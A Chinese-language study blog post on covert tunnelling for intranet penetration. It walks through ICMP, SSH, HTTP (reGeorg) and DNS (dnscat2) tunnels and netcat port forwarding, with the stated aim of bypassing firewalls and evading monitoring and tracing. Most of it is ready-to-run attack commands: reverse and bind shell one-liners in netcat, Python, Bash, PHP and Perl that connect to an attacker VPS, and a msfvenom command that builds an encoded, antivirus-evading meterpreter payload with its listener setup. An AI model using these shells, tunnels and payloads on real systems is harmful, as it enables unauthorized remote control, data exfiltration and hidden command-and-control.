學習內網安全--隱蔽隧道通信技術


隱蔽通信隧道基礎知識

經過前面信息收集的學習,知道了我是誰,我在哪,那么這章主要是我能去哪?


1.對進出口的流量是否連通的判斷(判斷內網的機器是否連通外網)

2.在非受信任的網絡如何實現安全的傳輸

3.使用隱蔽的手段,逃避安全監測措施和溯源追蹤


什么是隧道:

隧道是繞過防火牆端口屏蔽的一種通信方式,防火牆兩端的數據包 ,通過防火牆所允許的數據包類型或者端口進行封裝,然后穿過防火牆,與對方進行通信。當被封裝的數據包到達目的地,進行還原。

image-20210514121321190

比如防火牆只開放了53端口,只允許DNS協議通過,這時可將數據封裝在DNS協議里面,從內網發出去,在外面再進行解封裝。即可實現隱蔽通信。


常用的隧道技術:

  • 網絡層:IPv6隧道、ICMP隧道、GRE隧道
  • 傳輸層:TCP隧道、UDP隧道、常規的端口轉發。
  • 應用層:SSH隧道、DNS隧道、HTTP隧道、HTTPS隧道

內網連通性判斷


判斷內網的連通性是指判斷主機能否上外網等。常見的允許流量流出的端口有80、8080、443、53、110、123等。

1 ICMP協議

  • ping:命令:ping <IP地址>

2 TCP協議

  • netcat:“瑞士軍刀”,簡稱“nc”。通過使用TCP/UDP的網絡連接來讀寫數據。使用命令:nc -zv <IP 端口號>

    nc -zv 192.168.1.7 80

3 HTTP協議

  • curl:curl是一個利用URL規則在命令行下工作的綜合文件傳輸工具。unix自帶,windows需要下載。
  • 使用命令:curl < IP:端口號 >

4 DNS協議

  • nslookup(windows)
  • dig(linux)

5 代理服務器

有時候企業辦公網利用代理服務器進行上網,判斷方法:

  • 查看網絡連接
  • 查看主機名是否有”proxy“的主機
  • 查看IE的代理

網絡層隧道

1 IPv6隧道

2 ICMP隧道

只要可以ping通,就可以嘗試建立ICMP隧道,將數據包封裝在ICMP里面,

ICMP隧道工具有PingTunnel,icmptunnel,Icmpsh,powershell icmp等

A.icmpsh

安裝步驟:

git clonehttps://github.com/inquisb/icmpsh.git
apt-get install python-impacket
sysctl -w net.ipv4.icmp_echo_ignore_all=1 關閉本地系統icmp的應答

接下來進入目錄運行,輸入./icmpsh_m.py 192.168.1.9 192.168.1.7 注意這里192.168.1.9代表目標主機的公網IP


在目標主機輸入:

icmpsh.exe -t 192.168.1.9 -d 500 -b 30 -s 128 內網主機輸入,可以連接成功,得到shell。

image-20210513112010816


B.pingtunnel

image-20210513141640556


上面的場景,192.168.1.0/24 代表外網,1.1.1.0/24表示內網,這里模擬的場景是黑客通過WEB獲得了WEB服務器的權限。然后通過內網滲透獲取數據庫服務器的密碼。 但是發現不能進行訪問,只能ping通。這里用到ICMP隧道技術。


首先在外網的服務器VPS,和WEB服務器 安裝一下icmp隧道工具。


下載地址:freshmeat.sourceforge.net/project/ptunnel

安裝流程:

1.安裝編譯
tar xf PingTunnel-0.72.tar.gz
cd PingTunnel
make && make install

2.缺少pcap.h
wget http://www.tcpdump.org/release/libpcap-1.9.0.tar.gz
tar zxvf libpcap-1.9.0.tar.gz
cd libpcap-1.9.0
./configure

3.yacc包錯誤
Sudo apt-get install –y byacc
./configure
make
sudo make install

運行ptunnel

服務器:
ptunnel -x shuteer

VPS:
ptunnel -p 192.168.1.11 -lp 1080 -da 1.1.1.10 -dp 3389 -x shuteer

參數說明:
-x 指定 icmp 隧道連接驗證密碼
-lp 指定要監聽的本地 tcp 端口
-da 指定要轉發到的機器的 ip 地址
-dp 指定要轉發到的機器的 tcp 端口
-p 指定icmp隧道另一端機器的 ip 地址


所以這條語句的含義是 Web服務器 (192.168.1.11) 會把訪問內網數據庫服務器(1.1.1.10)的3389端口的數據包封裝在ICMP隧道里,傳給外網VPS服務器的1080端口,在訪問攻擊者的VPS服務器 192.168.1.9的 1080端口時,會收到相應的數據包。


防御措施:Wireshark 數據包分析,惡意流量分析。


傳輸層隧道技術


1 lcx端口轉發

1.lcx端口轉發

A.內網端口轉發
目標機器:lcx.exe –slave 公網主機ip 4444 127.0.0.1 3389
VPS:lcx.exe –listen 4444 5555

B.本地端口映射
lcx -tran 53 目標主機ip 3389

2 netcat

下載鏈接

LINUX:
sudo yum install nc.x86_64
Wget http://sourceforge.net/projects/netcat/files/netcat/0.7.1/netcat-0.7.1.tar.gz/download -O netcat-0.7.1.tar.gz

WINDOWS:
Nc:https://joncraton.org/files/nc111nt.zip
Nc_safe:https://joncraton.org/files/nc111nt_safe.zip

參數說明:

-d 后台模式
-e 程序重定向
-g <網關> 設置路由器躍程通信網關,最多可設置8個;
-G <指向器數目> 設置來源路由指向器,其數值為4的倍數;
-h 在線幫助;
-i <延遲秒數> 設置時間間隔,以便傳送信息及掃描通信端口;
-l 使用監聽模式,管控傳入的資料;
-n 直接使用IP地址,而不通過域名服務器;
-o <輸出文件> 指定文件名稱,把往來傳輸的數據以16進制字碼傾倒成該文件保存;
-p <通信端口> 設置本地主機使用的通信端口;
-r 隨機指定本地與遠端主機的通信端口;
-s <來源位址> 設置本地主機送出數據包的IP地址;
-u 使用UDP傳輸協議;
-v 詳細輸出;
-w <超時秒數> 設置等待連線的時間;
-z 將輸入輸出關掉,只在掃描通信端口時使用。


Banner信息抓取

nc –nv 192.168.123.103 21
連接到遠程主機
nc -nvv 192.168.11.135 80
端口掃描
nc -v 192.168.11.138 80
nc -v -z 192.168.11.138 20-1024
端口監聽
Nc -l -p 9999
文件傳輸
Nc –lp 333 >1.txt
Nc -vn 192.168.1.4 333 < test.txt –q 1


獲取shell

shell連接有兩種:正向shell和反向shell

正向shell,指的是客戶端連接服務器,客戶端想獲取服務器的shell,稱為正向shell。即控制方主動發起連接去連接被控制方。

反向shell,指的是客戶端連接服務器,服務器想獲取客戶端的shell,稱為反向shell。即被控制方主動去連接控制方。

一般從外網搞內網用的都是反向shell,而在內網里面用的是正向shell。


1.正向 shell

目標主機監聽:
Nc -lvp 4444 -e /bin/sh //linux
Nc -lvp 4444 -e C:\WINDOWS\system32\cmd.exe //windows

本地主機:
Nc 192.168.1.11 4444

2.反向 shell
本地主機監聽:
Nc -lvp 9999
目標主機:
Nc 192.168.11.144 9999 -e /bin/sh //linux
Nc 192.168.11.144 9999 -e C:\WINDOWS\system32\cmd.exe //windows


目標主機沒裝netcat,如何反向shell

1.python反向shell

VPS上監聽端口:
Nc -lvp 2222
目標主機上執行:
python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("192.168.1.4",2222));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'

2.Bash反向shell

VPS上監聽端口:
Nc -lvp 4444
目標主機上執行:
bash -i >& /dev/tcp/192.168.1.4/4444 0>&1

3.PHP反向shell

VPS上監聽端口:
Nc -lvp 2222
目標主機上執行:
php -r '$sock=fsockopen("192.168.1.4",2222);exec("/bin/sh -i <&3 >&3 2>&3");'

4.Perl反向shell

VPS上監聽端口:
Nc -lvp 4444
目標主機上執行:
perl -e ‘use Socket;\(i=”192.168.1.4″;\)p=4444;socket(S,PF_INET,SOCK_STREAM,getprotobyname(“tcp”));if(connect(S,sockaddr_in(\(p,inet_aton(\)i)))){open(STDIN,”>&S”);open(STDOUT,”>&S”);open(STDERR,”>&S”);exec(“/bin/sh -i”);};’


內網代理

外網VPS服務器,通過內網WEB服務器,獲取內網數據庫服務器shell

image-20210513171612881

1.VPS監聽端口
nc -lvp 3333
2.目標服務器執行
nc -lvp 3333 -e /bin/sh
3.邊界服務器執行
nc -v 192.168.1.4 3333 -c
“nc -v 1.1.1.200 3333

邊界服務器相當於做了代理,將目標數據庫服務器的shell權限轉移給外網VPS服務器。


應用層隧道技術--SSH隧道


什么是SSH?

SSH 端口轉發能夠提供兩大功能:1.加密 SSH Client 端至 SSH Server 端之間的通訊數據。2.突破防火牆的限制完成一些之前無法建立的 TCP 連接。

常規操作

ssh root@192.168.1.1 –P 22

密碼登錄過程

1.遠程主機收到用戶的登錄請求,把自己的公鑰發給用戶
2.用戶使用該公鑰,將登錄密碼加密后,發送給遠程主機。
3.遠程主機用自己的私鑰,解密登錄密碼,如果密碼正確,就用戶登錄。


本地端口轉發

image-20210514105754271

原理:

VPS 攻擊服務器,不能直接訪問內網設備的數據庫服務器,但是可以訪問WEB服務器,所以可以通過WEB服務器作為跳板,通過WEB服務器訪問數據庫服務器,然后再將數據傳出來。

配置:

Vi /etc/ssh/sshd_config SSH配置文件
AllowTcpForwarding yes 是否允許轉發TCP協議 GatewayPorts yes 是否允許遠程主機連接本地轉發端口
PermitRootLogin yes 是否允許root登錄
PasswordAuthentication yes 是否允許使用基於密碼的認證
TCPKeepAlive yes 保持心跳,防止 ssh 斷開

service ssh restart /etc/init.d/ssh restart


利用:

在VPS服務器執行以下命令:

格式: ssh –L 本地端口:目標主機:目標端口 jump主機

示例:$ ssh -L 2121:1.1.10:21 root@192.168.1.11
ssh –CfNg –L 2121:1.1.1.10:3389 root@192.168.1.11 連接后需要輸入WEB服務器的密碼

netstat -tulnp | grep "2121" 查看本地端口是否連接

rdesktop 127.0.0.1:2121 訪問本地系統的2121端口

常見建立ssh隧道所用到參數說明:
-C 壓縮傳輸,加快傳輸速度
-f 將SSH轉入后台執行,不占用當前的shell
-N 建立靜默連接(建立了連接,但是看不到具體會話)
-g 允許遠程主機連接到本地用於轉發的端口
-L 本地端口轉發
-R 遠程端口轉發
-D 動態轉發(socks代理)
-P 指定SSH端口

借助WEB服務器做跳板,下面是原理圖:

圖片1


msfvenom實戰:

msfvenom是凈荷生成和編碼的組合,取代了 msfpayload 和 msfencode ,編碼是為了免殺

msfvenom -p windows/meterpreter/reverse_tcp_rc4_dns lhost=192.168.1. 1 lport=53 rc4password=shuteer -e x86/shikata_ga_nai -b '\x00' -i 5 -f exe -o rever.exe

msfvenom 常規選項用途:-l 列出所有可用的載荷列表(payload), -l payloads
-p 選擇一個payload,也可以使用自定義payload, 支持全平台
-f 生成文件格式, --help-formats,可查看支持的所有輸出格式
-e 編碼方式,-l encoders,可查看支持可使用編碼器
-i 編碼的次數
-a 系統架構,默認X86,指定目標平台:--platform xxx,--list platform
-b 在生成的Payload中避免出現的值,添加這個參數,msfvenom 將會自動尋找合適的編碼器來編碼 Payload
-x 允許我們指定一個自定義的可執行文件作為模板,也就是將木馬捆綁到這個可執行文件上
-k 當模板被執行時,payload自動分離並注入到新的進程中,一般和-x選項一並使用
-o 指定創建好的payload的存放位置
-h 幫助

image-20210514153555824

在VPS主機上:

1.設置一個反向Payload,VPS做好監聽
msfvenom -p windows/meterpreter/reverse_tcp_rc4_dns lhost=1.1.1.155 lport=53 rc4password=shuteer -e x86/shikata_ga_nai -b '\x00' -i 5 -f exe -o rever.exe

生成rever.exe 程序,然后可以復制到需要反彈的內網主機上

2.運行MSF

set payload windows/meterpreter/reverse_tcp_rc4_dns

set lport 53

set lhost=1.1.1.155

set rc4password shuteer

set exitonsession false

show options

exploit -j


邊界服務器上開啟端口轉發,見上面的配置


在目標主機

ssh –L 本地端口:目標主機:目標端口 jump
ssh -CfNgL 53:192.168.1.10:53 root@1.1.1.116 -p 22


然后將生成的rever.exe 程序,復制到想要連接的內網主機上執行。(可以是DC,也可以是其他主機)


在VPS主機執行

sessions 查看連接

sessions -i 1 進入主機,可以執行shell命令

image-20210514163654409


遠程端口轉發

相比較於本地端口轉發,跳轉主機沒有外網IP地址,但是可以訪問外網。因此,VPS服務器不能訪問它。

所以要用內網的主機,去訪問外網VPS。下面的遠程主機端口,是VPS的端口。


利用:

在web服務器端執行以下命令:

格式: ssh –R 遠程主機端口:目標主機:目標端口 遠端VPS主機

示例:$ ssh -R 2121:1.1.1.10:3389 root@192.168.1.4


動態轉發

建立一個SSH加密的SOCKS 代理通道,任何支持這個協議的程序都可以使用這個通道進行代理訪問。比如:買一台海外服務器,通過這個可以進行訪問。

在VPS 服務器執行命令:

ssh -D 7000 root@192.168.1.11


應用層隧道技術--HTTP/HTTPS協議

使用工具:reGeorg

下載地址:https://github.com/sensepost/reGeorg


reGeorg工具有PHP,JSP,ASPX等web腳本,將腳本文件上傳到服務器中,使用kali本地訪問遠程服務器的tunnel.jsp腳本文件,返回后利用reGeorgSocksProxy.py腳本監聽本地9999端口,即可建立一個通信鏈路

python reGeorgSocksProxy -u http://[服務器IP:端口]/tunnel.jsp -p 9999

建立隧道后,在使用ProxyChains之類的工具,訪問目標的資源


應用層隧道技術--DNS隧道


原理:

DNS協議是一種請求/應答協議,可應用於應用層隧道技術。將數據封裝在DNS查詢響應數據包里面,進行通信。比較隱蔽,可繞過防火牆的攔截。

用戶管理僵屍網絡和進行APT攻擊的服務器叫做C&C服務器(Command and Control Server,命令及控制服務器)。C&C節點分為兩中種,一種是C&C服務端(攻擊者),另一種是C&C客戶端(被控制的計算機)。C&C通信是指植入C&C客戶端的木馬或者后門程序與C&C服務端上的遠程控制程序之間的通信。

DNS隧道的工作原理很簡單:在進行DNS查詢時,如果查詢的域名不在DNS服務器本機的緩存中,就會訪問互聯網進行查詢,然后返回結果,如果互聯網上有一台定制的服務器,那么依靠DNS協議就可以進行數據包的交換,從DNS協議的角度來看,這樣的操作只是一次次地查詢某個特定的域名並且得到解析結果,但其本質的問題是,預期的返回結果應該是一個IP地址,而事實上不是——返回的可以是任意字符串,包括加密的C&C指令。簡單地說,就是將其他協議封裝在DNS協議中進行傳輸。


DNS隧道工具--Dnscat2

dnscat2:它使用DNS協議創建加密的C&C通道,通過預共享密鑰身份驗證。該工具客戶端是由C編寫,服務端是由Ruby編寫的。它有兩種模式:直連模式:客戶端直接向指定的IP地址的DNS服務器發起解析請求。中繼模式:DNS通過互聯網的迭代查詢,指向指定的DNS服務器。

在使用該工具的時候需要先部署域名解析,測試部署是否成功。安裝服務端。

啟動服務端:sudo ruby ./dnscat.rb vpn.360bobao.com -e open -c ms08067.com --no-cache -c:指定使用預共享的密鑰進行生成驗證一面中間人攻擊 -e:規定安全級別,open表示服務端允許客戶端不進行加密 --no-cache表示禁止緩存,必須要添加該選項

如果是直連模式:sudo ruby ./dnscat.rb --dns server=127.0.0.1,port=53,type=TXT --secret=ms08067.com 表示監聽本地的53端口,自定義連接密碼是ms08067.com

在目標主機上安裝客戶端:測試是否連通於服務端:dnscat.exe --ping vpn.360bobao.com

客戶端連接服務端:dnscat.exe --dns domain=vpn.360bobao.com --secret ms08067.com

如果服務端使用的是直連模式:dnscat --dns server= ,port=53,type=TXT, --secret=ms08067.com

當客戶端和服務端連通之后就可以執行命令了

具體詳情請參考內網安全攻防這本書


DNS隧道工具--iodine




總結


下面是關於各種隧道技術的總結與比較:

image-20210514210716144


上面就是內網隧道技術的所有知識,要想了解更多詳情可閱讀《內網安全攻防--滲透測試行動指南》這本書。


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM